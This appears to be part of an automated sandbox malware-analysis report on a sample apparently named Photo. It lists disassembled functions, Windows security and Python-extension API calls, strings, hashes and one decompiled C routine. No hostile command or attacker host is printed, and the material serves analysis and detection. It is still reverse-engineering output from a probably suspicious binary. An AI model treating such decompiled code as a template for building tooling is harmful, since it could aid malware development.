0x027675c2
0x027675c2
0x027675c2

APIs

PyArg_ParseTuple.PYTHON27(?,0276D400,?), ref: 027675B1
QueryServiceConfigW.ADVAPI32(00000000,00000000,00000000,?), ref: 027675F7
GetLastError.KERNEL32 ref: 027675F9
CloseServiceHandle.ADVAPI32(00000000), ref: 027677BB
6C423B4E.MSVCR90(?), ref: 027677CA

Strings

(OOOs), xrefs: 027676F0
N;Bl, xrefs: 0276773D, 027677CA
QueryServiceConfigW, xrefs: 0276763C
QueryServiceConfigW, xrefs: 02767604

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Service$Arg_C423CloseConfigErrorHandleLastParseQueryTuple
String ID: (OOOs)$N;Bl$QueryServiceConfigW$QueryServiceConfigW
API String ID: 498842733-450896529
Opcode ID: c2119595a94b36104b0cdc7a912123aff080b75770bb0d6530bf2c54ae961af5
Instruction ID: c0cd2866e098acf91f0ad274c9f8631b451ebb85f3384e854ba72a28581d04d0
Opcode Fuzzy Hash: c2119595a94b36104b0cdc7a912123aff080b75770bb0d6530bf2c54ae961af5
Instruction Fuzzy Hash: FB61D6B5A003079BC718DF64DC8897BB3A9EF84668F058628FD5587341E734ED16CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A2E30 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 151COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,O:SetEntriesInAcl,?), ref: 1E7A2E51
PySequence_Check.PYTHON27(?), ref: 1E7A2E63
PyErr_SetString.PYTHON27(?,Parm must be a list of EXPLICIT_ACCESS dictionaries), ref: 1E7A2E7D
PySequence_Size.PYTHON27(?), ref: 1E7A2E95
PyErr_SetString.PYTHON27(?,SetEntriesInAcl: unable to allocate EXPLICIT_ACCESS_W), ref: 1E7A2ECC
PySequence_GetItem.PYTHON27(?,00000000), ref: 1E7A2EE6
SetEntriesInAclW.ADVAPI32(00000000,?,?,?), ref: 1E7A2F28
?PyWin_SetAPIError@@YAPAU_object@@PADJ@Z.PYWINTYPES27(SetEntriesInAcl,00000000), ref: 1E7A2F38
?SetACL@PyACL@@QAEHPAU_ACL@@@Z.PYWINTYPES27(?), ref: 1E7A2F5C
6C423B4E.MSVCR90(?), ref: 1E7A2FA2
LocalFree.KERNEL32(?), ref: 1E7A2FBB

Strings

Parm must be a list of EXPLICIT_ACCESS dictionaries, xrefs: 1E7A2E77
SetEntriesInAcl: unable to allocate EXPLICIT_ACCESS_W, xrefs: 1E7A2EC6
SetEntriesInAcl, xrefs: 1E7A2F33
O:SetEntriesInAcl, xrefs: 1E7A2E3F

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Sequence_$Err_String$Arg_C423CheckEntriesError@@FreeItemL@@@LocalParseSizeTupleU_object@@Win_
String ID: O:SetEntriesInAcl$Parm must be a list of EXPLICIT_ACCESS dictionaries$SetEntriesInAcl$SetEntriesInAcl: unable to allocate EXPLICIT_ACCESS_W
API String ID: 2962403614-1459552432
Opcode ID: 2f9dff3ff7eade62a6879fa07455848b30b2370f16acd7e2e048021bba1992dd
Instruction ID: cf69c38f65629dd6241c17fa22d27af6ce8797e046f21fdc19a5b90b569ee7bb
Opcode Fuzzy Hash: 2f9dff3ff7eade62a6879fa07455848b30b2370f16acd7e2e048021bba1992dd
Instruction Fuzzy Hash: DE4180B56042A29BF300DF28DC8495B77E9EFC9654F0D0B28FB4583225E731E905CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A5E50 Relevance: 28.1, APIs: 11, Strings: 5, Instructions: 122COMMON

Download Yara Rule

APIs

IsValidSecurityDescriptor.ADVAPI32(1E7A6E07,?,?,1E7A626B,?,00000000,?,?,?,1E7A6E07,00000000), ref: 1E7A5E57
PyErr_SetString.PYTHON27(?,Invalid Security descriptor,?,1E7A626B,?,00000000,?,?,?,1E7A6E07,00000000), ref: 1E7A5E6E
GetSecurityDescriptorLength.ADVAPI32(1E7A6E07,00000000,00000000,?,?,1E7A626B,?,00000000,?,?,?,1E7A6E07,00000000), ref: 1E7A5E80
PyErr_Format.PYTHON27(?,Unable to allocate %d bytes,?), ref: 1E7A5EB4

Strings

Unable to allocate %d bytes, xrefs: 1E7A5EAE
MakeSelfRelativeSD, xrefs: 1E7A5F58
Unable to allocate %d bytes, xrefs: 1E7A5F1A
MakeSelfRelativeSD, xrefs: 1E7A5EEC
Invalid Security descriptor, xrefs: 1E7A5E68

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: DescriptorErr_Security$FormatLengthStringValid
String ID: Invalid Security descriptor$MakeSelfRelativeSD$MakeSelfRelativeSD$Unable to allocate %d bytes$Unable to allocate %d bytes
API String ID: 712389088-4056593182
Opcode ID: 305b1f0768c27f0d1c1d22a6f1e7471e66103e9702ae4bf2fe7e039bdac7efbd
Instruction ID: 17edb81762a3096f7d4f060327e2122fab25f4bfd510d1166808941269418b5f
Opcode Fuzzy Hash: 305b1f0768c27f0d1c1d22a6f1e7471e66103e9702ae4bf2fe7e039bdac7efbd
Instruction Fuzzy Hash: A73194B62152159FF704DF68EC88E57B3ADEBC821AF1C0A2AF745C6250EB31E454CB61

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A2610 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 145COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,llOii:AddAuditAccessAce,?,?,?,?,?), ref: 1E7A263E
?PyWinObject_AsSID@@YAHPAU_object@@PAPAXH@Z.PYWINTYPES27(?,?,00000000), ref: 1E7A265E
AddAuditAccessAce.ADVAPI32(?,?,?,?,?,?), ref: 1E7A2687
GetLastError.KERNEL32 ref: 1E7A2695
?PyWin_SetAPIError@@YAPAU_object@@PADJ@Z.PYWINTYPES27(AddAuditAccessAce,00000000), ref: 1E7A26A8

Strings

AddAuditAccessAce, xrefs: 1E7A26A3
llOii:AddAuditAccessAce, xrefs: 1E7A2638
AddAuditAccessAce, xrefs: 1E7A2751
AddAuditAccessAce: unable to allocated %d bytes, xrefs: 1E7A26E9

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: U_object@@$AccessArg_AuditErrorError@@LastObject_ParseTupleWin_
String ID: AddAuditAccessAce$AddAuditAccessAce$AddAuditAccessAce: unable to allocated %d bytes$llOii:AddAuditAccessAce
API String ID: 3198050918-1933714757
Opcode ID: d3c80c5d548a53114e100bcc17054038a53c8ca5df8bbb6703c58d3c9f3cbd90
Instruction ID: 1e9607b3087256ae39eef41c9b1eab66a69c9a7f1ccb14f1f10f143602094285
Opcode Fuzzy Hash: d3c80c5d548a53114e100bcc17054038a53c8ca5df8bbb6703c58d3c9f3cbd90
Instruction Fuzzy Hash: 83414276604251AFE200DB58EC85DBBB3A9EFC8659F4C4B1DF74983221E731E905C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A91A0 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 140COMMON

Download Yara Rule

APIs

PyString_Size.PYTHON27(?,?,?,?,?,?,1E7A1A6E), ref: 1E7A91C4
PyString_AsString.PYTHON27(?,?,?,?,?,?,1E7A1A6E), ref: 1E7A91CD
PyMem_Malloc.PYTHON27(00000002), ref: 1E7A91E1
PyErr_SetString.PYTHON27(?,No memory for wide string buffer), ref: 1E7A9202
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 1E7A9219
PyMem_Malloc.PYTHON27(?,?,?,?,?,?,1E7A1A6E), ref: 1E7A924D
PyErr_SetString.PYTHON27(00000000,Allocating WCHAR array), ref: 1E7A926F
PyUnicodeUCS2_AsUnicode.PYTHON27(?,?), ref: 1E7A9282
PyErr_SetString.PYTHON27(?,None is not a valid string in this context,?,?,?,?,?,1E7A1A6E), ref: 1E7A92C0
PyErr_Format.PYTHON27(<NULL!!>,Objects of type '%s' can not be converted to Unicode.,<NULL!!>,?,?,?,?,?,1E7A1A6E), ref: 1E7A92F2

Strings

Objects of type '%s' can not be converted to Unicode., xrefs: 1E7A92EC
Allocating WCHAR array, xrefs: 1E7A9269
<NULL!!>, xrefs: 1E7A92DE, 1E7A92E9, 1E7A92F1
No memory for wide string buffer, xrefs: 1E7A91FC
None is not a valid string in this context, xrefs: 1E7A92BA

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Err_String$MallocMem_String_Unicode$ByteCharFormatMultiSizeWide
String ID: <NULL!!>$Allocating WCHAR array$No memory for wide string buffer$None is not a valid string in this context$Objects of type '%s' can not be converted to Unicode.
API String ID: 2927283933-1696457029
Opcode ID: 03183311d98d97e749aef2f15ba5281159c8563f64f148a115b6503f79771bb8
Instruction ID: 682fff84946e489c4c5c7d2f28bafac10f959d86b9f4317343dfa6aa3f277c72
Opcode Fuzzy Hash: 03183311d98d97e749aef2f15ba5281159c8563f64f148a115b6503f79771bb8
Instruction Fuzzy Hash: 3D4195B6605218DFF2148F58EC8495BB7ADFBCD319B18472AFA06C7250DB71E414CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A6E60 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 123COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,?,?,?,?,?,?,?,?,?,1E7AC5DA,000000FF), ref: 1E7A6E97
??0PySECURITY_DESCRIPTOR@@QAE@H@Z.PYWINTYPES27(?), ref: 1E7A6EC5

Part of subcall function 1E7A6DC0: InitializeSecurityDescriptor.ADVAPI32(00000000), ref: 1E7A6DF5
Part of subcall function 1E7A6DC0: ?SetSD@PySECURITY_DESCRIPTOR@@QAEHPAX@Z.PYWINTYPES27(00000000), ref: 1E7A6E02
Part of subcall function 1E7A6DC0: 6C423B4E.MSVCR90(00000000), ref: 1E7A6E08

Part of subcall function 1E7A5D70: GetSecurityDescriptorControl.ADVAPI32(?,?,?,1E7A6FA7,?,?,?,?,?,?,?,?), ref: 1E7A5D82

PyErr_Occurred.PYTHON27(?), ref: 1E7A6EE0
PyErr_SetString.PYTHON27(00000000,Security descriptors are not supported on this platform), ref: 1E7A6EF8
PyErr_Clear.PYTHON27(?), ref: 1E7A6F25
PyArg_ParseTuple.PYTHON27(?,?,?,?,?,?,?,?,?,?,?,?,?,?,1E7AC5DA,000000FF), ref: 1E7A6F3E
PyObject_AsReadBuffer.PYTHON27(?,?,?,?,?,O:SECURITY_DESCRIPTOR,?), ref: 1E7A6F56
IsValidSecurityDescriptor.ADVAPI32(?,?,?,?,?,?,?,?), ref: 1E7A6F69
PyErr_SetString.PYTHON27(00000000,Security descriptor created from a buffer must be self relative,?,?,?,?,?,?,?,?), ref: 1E7A6F81
??0PySECURITY_DESCRIPTOR@@QAE@PAX@Z.PYWINTYPES27(?), ref: 1E7A6FDA

Strings

Security descriptors are not supported on this platform, xrefs: 1E7A6EF2
O:SECURITY_DESCRIPTOR, xrefs: 1E7A6F30
|l:SECURITY_DESCRIPTOR, xrefs: 1E7A6E89
Security descriptor created from a buffer must be self relative, xrefs: 1E7A6FAE
Data is not a valid security descriptor, xrefs: 1E7A6F73

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Err_$DescriptorSecurity$Arg_ParseStringTuple$BufferC423ClearControlInitializeObject_OccurredReadValid
String ID: Data is not a valid security descriptor$O:SECURITY_DESCRIPTOR$Security descriptor created from a buffer must be self relative$Security descriptors are not supported on this platform$|l:SECURITY_DESCRIPTOR
API String ID: 1338371220-3716056180
Opcode ID: ed4d6683539e5deb6ddb043652d959efed584379f2d8c73f570bac8180c37d26
Instruction ID: bb83f29601ebd25aae6479fac1bdae0c38eb57efe24bbeb7ce84f2a2d22a7d88
Opcode Fuzzy Hash: ed4d6683539e5deb6ddb043652d959efed584379f2d8c73f570bac8180c37d26
Instruction Fuzzy Hash: C6419FB1604242ABF704DFA4DD44B5BB7E9BBC8314F084B2DFA5583290E734E445CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A7580 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

IsValidSid.ADVAPI32(?,?,?,1E7A76BD,?,?,?,00000000,?), ref: 1E7A7587
GetSidIdentifierAuthority.ADVAPI32(?,?,?,?,?,00000000,?), ref: 1E7A7596
GetSidSubAuthorityCount.ADVAPI32(?,?,?,?,?,00000000,?), ref: 1E7A759F
SetLastError.KERNEL32(0000007A,?,?,?,?,00000000,?), ref: 1E7A75C2

Strings

%lu, xrefs: 1E7A7614
0x%02hx%02hx%02hx%02hx%02hx%02hx, xrefs: 1E7A7647
S-%lu-, xrefs: 1E7A75DC
-%lu, xrefs: 1E7A7677

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Authority$CountErrorIdentifierLastValid
String ID: %lu$-%lu$0x%02hx%02hx%02hx%02hx%02hx%02hx$S-%lu-
API String ID: 228009767-531523367
Opcode ID: 9d5deb592823902d88391b1e74c5053d9f7839c49c9340a69e7821f9e9226c9c
Instruction ID: e8fee798af060d982c36da517dbd36eec126814a2bf0e6da092bfcfe89bd727c
Opcode Fuzzy Hash: 9d5deb592823902d88391b1e74c5053d9f7839c49c9340a69e7821f9e9226c9c
Instruction Fuzzy Hash: 7E315AB2404260ABF3104B399C859B7BBEDDFC9206B088A6EF6D7C3211E234D106DB70

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A1840 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 99COMMON

Download Yara Rule

APIs

PyMapping_Check.PYTHON27(00000000,00000000), ref: 1E7A1858
PyErr_SetString.PYTHON27(?,Object must be a mapping (dictionary, class instance, etc,00000000), ref: 1E7A1873

Strings

items, xrefs: 1E7A1883
Object must be a mapping (dictionary, class instance, etc, xrefs: 1E7A186D
__dict__, xrefs: 1E7A1930

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: CheckErr_Mapping_String
String ID: Object must be a mapping (dictionary, class instance, etc$__dict__$items
API String ID: 1486305882-1644530579
Opcode ID: 61cbe18f4fa327ec86f61432c5574680c94bfa20f69c7e99842f5c189c501219
Instruction ID: 8bfeeae496f1584da9bd46df83f9da6e356ede05bed0486eb78aae9af68767dd
Opcode Fuzzy Hash: 61cbe18f4fa327ec86f61432c5574680c94bfa20f69c7e99842f5c189c501219
Instruction Fuzzy Hash: 5E21F571500221ABF3005B28BC84ADB73ADEFC8669F094328FF1582351D735E952CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 02764FD8 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 231
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E02764FD8() {
				intOrPtr _t82;
				intOrPtr* _t83;
				intOrPtr* _t89;
				intOrPtr _t98;
				intOrPtr _t99;
				intOrPtr _t107;
				intOrPtr _t108;
				intOrPtr* _t110;
				intOrPtr _t112;
				void* _t115;
				intOrPtr* _t116;
				intOrPtr* _t117;
				signed int _t126;
				intOrPtr _t128;
				intOrPtr _t133;
				void* _t135;
				intOrPtr* _t143;
				intOrPtr* _t146;
				intOrPtr _t160;
				intOrPtr _t164;
				intOrPtr _t181;
				intOrPtr* _t182;
				intOrPtr* _t185;
				void* _t186;
				intOrPtr* _t187;
				void* _t188;
				intOrPtr* _t189;
				signed int _t192;
				void* _t193;
				intOrPtr* _t194;
				intOrPtr* _t195;
				void* _t198;
				void* _t199;

				do {
					_t82 =  *((intOrPtr*)(_t198 + 0x10));
					_t181 =  *((intOrPtr*)(_t82 + 0x10));
					_t146 =  *((intOrPtr*)(_t82 + 0x28));
					_t83 = _t146;
					 *((intOrPtr*)(_t198 + 0x14)) = _t181;
					 *((intOrPtr*)(_t198 + 0x24)) = 0;
					_t188 = _t83 + 2;
					do {
						_t164 =  *_t83;
						_t83 = _t83 + 2;
					} while (_t164 != 0);
					_t143 =  *0x276928c(_t146, _t83 - _t188 >> 1);
					_t198 = _t198 + 8;
					if(_t143 == 0) {
						L50:
						 *0x2769214( *((intOrPtr*)(_t198 + 0x28)));
						_t182 =  *((intOrPtr*)(_t198 + 0x20));
						_t189 =  *((intOrPtr*)(_t198 + 0x24));
						_t199 = _t198 + 4;
						 *_t189 =  *_t189 + 0xffffffff;
						if( *_t189 == 0) {
							 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t189 + 4)) + 0x18))))(_t189);
							_t199 = _t199 + 4;
						}
						if(_t195 != 0) {
							 *_t195 =  *_t195 + 0xffffffff;
							if( *_t195 == 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t195 + 4)) + 0x18))))(_t195);
								_t199 = _t199 + 4;
							}
						}
						if(_t182 != 0) {
							 *_t182 =  *_t182 + 0xffffffff;
							if( *_t182 == 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t182 + 4)) + 0x18))))(_t182);
								_t199 = _t199 + 4;
							}
						}
						if(_t143 != 0) {
							 *_t143 =  *_t143 + 0xffffffff;
							if( *_t143 == 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t143 + 4)) + 0x18))))(_t143);
								_t199 = _t199 + 4;
							}
						}
						_t89 =  *((intOrPtr*)(_t199 + 0x18));
						if(_t89 != 0) {
							 *_t89 =  *_t89 + 0xffffffff;
							if( *_t89 == 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t89 + 4)) + 0x18))))(_t89);
								_t199 = _t199 + 4;
							}
						}
						return 0;
					} else {
						_t98 =  *((intOrPtr*)(_t198 + 0x10));
						if( *((intOrPtr*)(_t98 + 0x34)) == 0) {
							L21:
							if(_t181 == 0) {
								goto L46;
							} else {
								while(1) {
									_t105 =  *(_t181 + 0xc);
									_t192 =  *( *(_t181 + 0xc)) & 0x0000ffff;
									if(_t192 != 2) {
										goto L28;
									}
									L25:
									if(E02767140(_t192,  &(_t105[2]), _t198 + 0x438, 0x400) == 0) {
										goto L50;
									} else {
										_t126 =  *(_t181 + 0x2c) & 0x000000ff;
										_push(_t198 + 0x30);
										_push(_t126);
										L02768C26();
										if(_t126 != 0) {
											L31:
											_t185 =  *0x27692e0;
											_t108 =  *_t185(_t198 + 0x434);
											_t198 = _t198 + 4;
											 *((intOrPtr*)(_t198 + 0x1c)) = _t108;
											if(_t108 == 0) {
												goto L50;
											} else {
												if( *((intOrPtr*)(_t198 + 0x24)) == 0) {
													 *((intOrPtr*)( *0x27692c8)) =  *((intOrPtr*)( *0x27692c8)) + 1;
													_t110 =  *0x27692c8;
													 *((intOrPtr*)(_t198 + 0x18)) = _t110;
												} else {
													 *((intOrPtr*)(_t198 + 0x1c)) =  *_t185(_t198 + 0x834);
													_t110 =  *0x27692c8;
													_t198 = _t198 + 4;
												}
												 *_t110 =  *_t110 + 1;
												 *((intOrPtr*)( *0x27692c8)) =  *((intOrPtr*)( *0x27692c8)) + 1;
												_t112 =  *0x27692c8;
												_t195 =  *0x27692b4("(OiOOOO)", _t143, _t192,  *((intOrPtr*)(_t198 + 0x1c)),  *((intOrPtr*)(_t198 + 0x18)), _t112, _t112);
												_t198 = _t198 + 0x1c;
												if(_t195 == 0) {
													goto L50;
												} else {
													_t115 =  *0x2769314( *((intOrPtr*)(_t198 + 0x20)), _t195);
													_t198 = _t198 + 8;
													if(_t115 != 0) {
														goto L50;
													} else {
														 *_t195 =  *_t195 + 0xffffffff;
														if( *_t195 == 0) {
															 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t195 + 4)) + 0x18))))(_t195);
															_t198 = _t198 + 4;
														}
														_t116 =  *((intOrPtr*)(_t198 + 0x1c));
														 *_t116 =  *_t116 + 0xffffffff;
														if( *_t116 == 0) {
															 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t116 + 4)) + 0x18))))(_t116);
															_t198 = _t198 + 4;
														}
														_t117 =  *((intOrPtr*)(_t198 + 0x18));
														 *_t117 =  *_t117 + 0xffffffff;
														if( *_t117 == 0) {
															 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t117 + 4)) + 0x18))))(_t117);
															_t198 = _t198 + 4;
														}
														 *((intOrPtr*)(_t198 + 0x14)) =  *((intOrPtr*)( *((intOrPtr*)(_t198 + 0x14)) + 8));
														L45:
														if( *((intOrPtr*)(_t198 + 0x14)) != 0) {
															_t181 =  *((intOrPtr*)(_t198 + 0x14));
															_t105 =  *(_t181 + 0xc);
															_t192 =  *( *(_t181 + 0xc)) & 0x0000ffff;
															if(_t192 != 2) {
																goto L28;
															}
														} else {
															goto L46;
														}
													}
												}
											}
										} else {
											 *((intOrPtr*)(_t198 + 0x3c)) =  *((intOrPtr*)(_t198 + 0x30));
											_t107 = E02767140(_t192, _t198 + 0x34, _t198 + 0x838, 0x400);
											 *((intOrPtr*)(_t198 + 0x24)) = _t107;
											L30:
											if(_t107 == 0) {
												goto L50;
											} else {
												goto L31;
											}
										}
									}
									goto L66;
									L28:
									if(_t192 != 0x17) {
										 *((intOrPtr*)(_t198 + 0x14)) =  *((intOrPtr*)(_t181 + 8));
										goto L45;
									} else {
										_t107 = E02767140(_t192,  &(_t105[4]), _t198 + 0x438, 0x400);
										goto L30;
									}
									goto L66;
								}
							}
						} else {
							_t160 = _t98;
							 *((char*)(_t198 + 0x34)) = 0;
							_t128 =  *((intOrPtr*)(_t160 + 0x34));
							_t193 = 0;
							_t186 = _t198 + 0x34;
							if(_t128 > 0) {
								L9:
								if(_t193 != _t128 - 1) {
									_push( *(_t160 + _t193 + 0x2c) & 0x000000ff);
									_push("%.2X-");
								} else {
									_push( *(_t160 + _t193 + 0x2c) & 0x000000ff);
									_push("%.2X\n");
								}
								 *0x276920c(_t186, 0x400);
								_t128 =  *((intOrPtr*)( *((intOrPtr*)(_t198 + 0x20)) + 0x34));
								_t193 = _t193 + 1;
								_t198 = _t198 + 0x10;
								_t186 = _t186 + 3;
								if(_t193 < _t128) {
									_t160 =  *((intOrPtr*)(_t198 + 0x10));
									goto L9;
								}
							}
							 *((char*)(_t186 - 1)) = 0;
							_t187 =  *0x27692b4;
							_t194 =  *_t187("s", _t198 + 0x34);
							_t198 = _t198 + 8;
							if(_t194 == 0) {
								goto L50;
							} else {
								 *((intOrPtr*)( *0x27692c8)) =  *((intOrPtr*)( *0x27692c8)) + 1;
								 *((intOrPtr*)( *0x27692c8)) =  *((intOrPtr*)( *0x27692c8)) + 1;
								 *((intOrPtr*)( *0x27692c8)) =  *((intOrPtr*)( *0x27692c8)) + 1;
								_t133 =  *0x27692c8;
								_t195 =  *_t187("(OiOOOO)", _t143, 0xffffffff, _t194, _t133, _t133, _t133);
								_t198 = _t198 + 0x1c;
								if(_t195 == 0) {
									goto L50;
								} else {
									_t135 =  *0x2769314( *((intOrPtr*)(_t198 + 0x20)), _t195);
									_t198 = _t198 + 8;
									if(_t135 != 0) {
										goto L50;
									} else {
										 *_t195 =  *_t195 + 0xffffffff;
										if( *_t195 == 0) {
											 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t195 + 4)) + 0x18))))(_t195);
											_t198 = _t198 + 4;
										}
										 *_t194 =  *_t194 + 0xffffffff;
										if( *_t194 == 0) {
											 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t194 + 4)) + 0x18))))(_t194);
											_t198 = _t198 + 4;
										}
										_t181 =  *((intOrPtr*)(_t198 + 0x14));
										goto L21;
									}
								}
							}
						}
					}
					L66:
					L46:
					 *_t143 =  *_t143 + 0xffffffff;
					if( *_t143 == 0) {
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t143 + 4)) + 0x18))))(_t143);
						_t198 = _t198 + 4;
					}
					_t99 =  *((intOrPtr*)( *((intOrPtr*)(_t198 + 0x10)) + 8));
					 *((intOrPtr*)(_t198 + 0x10)) = _t99;
				} while (_t99 != 0);
				 *0x2769214( *((intOrPtr*)(_t198 + 0x28)));
				return  *((intOrPtr*)(_t198 + 0x24));
				goto L66;
			}

0x02764fe0
0x02764fe0
0x02764fe4
0x02764fe7
0x02764fea
0x02764fec
0x02764ff0
0x02764ff8
0x02765000
0x02765000
0x02765003
0x02765006
0x02765017
0x02765019
0x0276501e
0x027652f4
0x027652f9
0x027652ff
0x02765303
0x02765307
0x0276530a
0x0276530d
